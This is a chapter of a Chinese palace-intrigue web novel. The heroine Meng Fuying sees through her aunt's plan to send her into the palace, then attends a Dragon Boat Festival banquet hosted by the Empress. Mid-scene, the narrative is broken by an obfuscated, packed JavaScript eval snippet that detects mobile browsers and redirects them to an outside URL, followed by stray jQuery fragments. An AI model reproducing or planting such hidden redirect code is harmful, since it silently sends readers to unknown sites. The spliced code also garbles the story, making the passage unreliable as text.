孟扶楹眸中带着些天真的澄澈，似是在消化孟容话中意思，久久未接她话。


    孟容也没急，就那样安静地看着她，直到她自己回过神来，从孟容手中拿过那块无事牌，翻来覆去地仔细看了一通，喃喃道：“这是我去岁送给娘的生辰礼物。”


    无饰牌，无事牌。


    寓意着平安无事、得偿所愿。


    最终却是天不随人愿。


    见孟扶楹眸中凄切含泪，孟容方觉时机成熟，将她拉进怀中，抚着她的后脑温柔出言安慰：“扶楹莫哭，你若仍是想查，姑母必当鼎力支持。”


    而和她温柔语调截然相反的则是面无表情的平静。


    待哭声渐息，她才进入正题，清了清嗓子，道：“既是皇室秘辛，姑母倒是有个法子。”


    “过些日子便到了三年大选，扶楹若不便顶了婉清的名儿参选去，扶楹向来聪慧，又如此貌美，入宫想必是容易的。”


    “待你入了宫，再偷偷查探此事，其余的便传信给姑母，姑母在宫外替你去办，我们一同查清真相，为你爹娘伸冤，如何？”


    瞧瞧，这话说得多好听。


    若她是个不经事的小姑娘，经孟容如此连哄带骗，想来怕是招架不住。


    孟扶楹面上不显，装傻充愣道：“可坊间不是皆说圣上……”


    生性残暴、昏庸无能吗？


    这话还没说完，孟容便伸手捂住了她的嘴，压低声音斥道：“莫要胡说！”


    “那些传闻哪里做得了数？”许是觉得方才语气有些重了，孟容又轻轻捏了捏她的手，缓和道，“当今圣上贤明仁德，你姑父是知道的，你父亲想必也不外乎，只是还没来得及与你说罢了。”


    “缘是这般。”她似懂非懂地点点头，“那……扶楹回去考虑一下。”


    “好好，你先自己想想，不管最后作何决定姑母都支持你。”见她话意似有松动，孟容心下一喜，却知不能操之过急，也没催着她做出决定，故作关怀道。


    孟扶楹轻施一礼，转身之际，眸中潋滟水光顺颊而落，然眼底悲切之情，却已尽然烟消云散。


    直到回屋关上门，她才自喉间溢出方才压得死死的一声冷笑。


    这的确是娘的东西，但娘绝不可能同孟容说那番话。


    那话八成是孟容编出来哄她入宫的。


    但问题是，这玉牌究竟是孟容从何处所得？


    孟扶楹将那块玉牌放进妆奁，目不转睛地盯了许久，这才舍得将屉子合上。


    不管孟容手上还有多少娘的旧物，她都将一一拿回来。


    -


    日子不紧不慢地过去，转眼间便到了五月初五端午宫宴这日。


    因着孟扶楹并无诰命的牌子，此番是得了恩典赴宴，是以宫中特意派了马车来接。


    侍女既不可随入，孟扶楹便没让蘅芜跟着，正好今日鲤江上有赛龙舟，蘅芜便欢欢喜喜地去观竞渡了。


    孟扶楹一路无言沉默，直到跟着宫中内侍入了政德殿。


    政德殿内男女分席列坐，中间摆着一扇紫檀嵌玉雕花卉屏风。


    待孟扶楹到时席位上已零零散散坐了不少官家女眷。


    她略显拘谨地环视了一圈，虽没看到周家姐姐，倒也见到了不少熟悉面孔。


    大部分都是在永宁侯府有过一面之缘的。


    孟扶楹浅笑着颔首，就当是见了礼，那些姑娘见过她与乔家姐妹龌龊，是以只是回了个微笑，并无人主动上前同她搭话。


    她没想扎眼出风头，也乐得清闲，只安安静静地独自坐在最下方角落，望着地上出神。


    外面酷暑炎炎，政德殿内宴席四周却陈设着以寒冰雕琢成的冰山，散发着缕缕清寒之气，倒是令人心旷神怡，十分舒适。


    随着各官家女眷相继而至，安静的殿内也渐渐出现了些窃窃私语之声，随后一道视线如炬，灼灼而来。


    孟扶楹抬眼望去，对上了乔南鹤那双笑眸。


    与那日在永宁侯府不同的是，她眼中似乎没了敌意，只余下一丝诚挚歉意。


    孟扶楹轻轻挑了下眉尾，目光又落在了一旁的乔南音身上。


    乔南音却没看她，只低着头自顾自吃面前瓷碟中盛着的荔枝。


    她有些意外。


    这两姐妹倒是跟转了性似的。


    她还没来得及收回视线，就见乔南鹤站起身，端着酒杯朝她走了过来。


    周围吵闹声渐息，殿中官家女眷纷纷朝二人看来。


    乔南鹤在她面前站定，双手持盏向前递去半寸，笑意盈盈：“之前请帖一事是我处理不妥，这才给了孟妹妹难堪，还请孟妹妹莫要介怀。”


    “自然。”孟扶楹只好随之起身，体面地依照她话中意思应道。


    虽说一码归一码，但乔淮序既以那般重要之物为赔礼，她如今也不好再多做追究。


    面前桌上缶里盛着宫中特酿雄黄酒，孟扶楹只往酒盏中倒了小半杯，回敬过去，两人同时一饮而尽。


    辛辣入喉，胸口烧起一片灼热。


    乔南鹤既在众目睽睽之下主动来同她道了歉，众贵女与她之间那点微妙的隔阂便也消失殆尽了，更有圆滑世故之人已在心中暗自盘算起来是否同她有结交的必要。


    此时恰临近开宴，周祈悦终于随着尚书夫人姗姗来迟。


    两人刚在孟扶楹左侧坐定，殿内喧嚣便随着前头动静重新归于安静，只剩下内侍尖锐嗓音回响：“皇后娘娘驾到——”


    殿内众人闻声纷纷起身，朝着皇后的方向齐齐行礼：“参见皇后娘娘，皇后娘娘万福金安。”


    “不必多礼。”张檀如声音不大，虽含着笑意，却也带着一国之母的威仪。


    张檀如在身边宫女的搀扶下往上首走去，当在孟扶楹面前投下一片阴影时，她没忍住悄悄抬眼望去，却猝不及防地对上张檀如那双凤眸。


    孟扶楹一惊，又连忙垂眸避开，直到面前阴影消失，才心有余悸地随众人一同坐下。


    其余之人皆安分垂首，无人注意两人来往，直到张檀如端庄坐下后，才一一规矩落座。


    “今儿端午设宴邀诸位入宫同乐，诸位不必拘礼，尽管自在些。”张檀如


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069913|163152||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    朝身侧素秋吩咐了两句，素秋便从上首走了下来，去向后殿，没过多久，两排宫女端着菜肴鱼贯而入。


    首次呈上的多为冷拼攒盘，摆得十分精致，如今又正值夏日，倒也清爽开胃。


    张檀如净手持筷慢用了一口，底下命妇贵女们这才敢动筷，但大多皆端着一副矜持模样。


    待前菜全部上齐后，后头的热菜才一道道被送入席上，蒸的热气腾腾的各馅角黍也剥好一一摆于碟上，以免污了这些命妇贵女的手。


    孟扶楹素来嗜甜，第一个便吃到了甜口豆沙馅的，愉悦地弯了弯眼睛。


    “外头天气炎热，恐诸位受热不适，故特将午膳安排于内殿之中。”张檀如温和道，“待用完午膳后，诸位再一同前去御花园系彩绳、射粉团。”


    宫中其实有娴妃协理六宫之事，但娴妃前些时日不慎染了风寒，是以今年端午宴前前后后由皇后一手操办。


    此话一出，殿内附和赞美之声接连不断地响起——


    “还是皇后娘娘想得周到。”


    “娘娘贤明。”


    周祈悦倒没跟着奉承，只是掩嘴朝孟扶楹侧身悄声道：“试试这道烩水笋丝，味道不错。”


    “好。”孟扶楹点头应下。


    她本意欲顺周祈悦之意，尝下那烩水笋丝，然未及伸箸之际，恰巧瞥见从前方路过的素秋，其藏于袖中的皓腕之上，隐隐可见青紫痕迹。


    孟扶楹恍若未见一般，淡定地收回视线，继续手上动作。


    或因其举止间未有丝毫停滞不妥，即便张檀如始终以余光暗自窥察，亦未曾察觉孟扶楹已有所见。


    宴至中途，张檀如倏然突兀出声道：“孟家二姑娘今日可来了？”


    她话虽这般说，但目光却准确无误地落到了下首认真用膳的孟扶楹身上。


    孟扶楹只得放下筷子，起身朝上首行礼：“民女孟扶楹给皇后娘娘请安。”


    其实此番得圣上旨意入宫赴宴本就出乎她意料，皇后这会儿又特意提起她，她心底不禁有些不解。


    “好生俊俏的女郎。”张檀如不知她心中所想，只笑着望她，“本宫膝下唯昀儿一子，素来想要一个女儿，今日见了扶楹，心中甚是欢喜。”


    孟扶楹不卑不亢应道：“多谢皇后娘娘抬爱。”


    这话不好接，她只好这般含糊地应付过去。


    张檀如又道：“你若有空，以后多来凤仪殿坐坐。”


    她这两句话一说，殿中坐着的众人望向孟扶楹的视线或多或少都带上了几分打量的意味。


    当今太子崔昀虽已娶妻，但除去太子妃外，后院仅余一名商籍良娣。


    前些日子太子妃又传出有孕的消息，太子后院也算得空虚，不知皇后这话是否在暗示要让孟扶楹入东宫为妾。


    但张檀如更似随口一提一般，又吩咐素秋赐了她几道菜，便再没继续这个话题了。


    孟扶楹连忙坐下，松了口气。


    她也不知皇后此言何意，但她清楚自己并不想做太子妾室。


    准确来说，她如今并无嫁人的心思。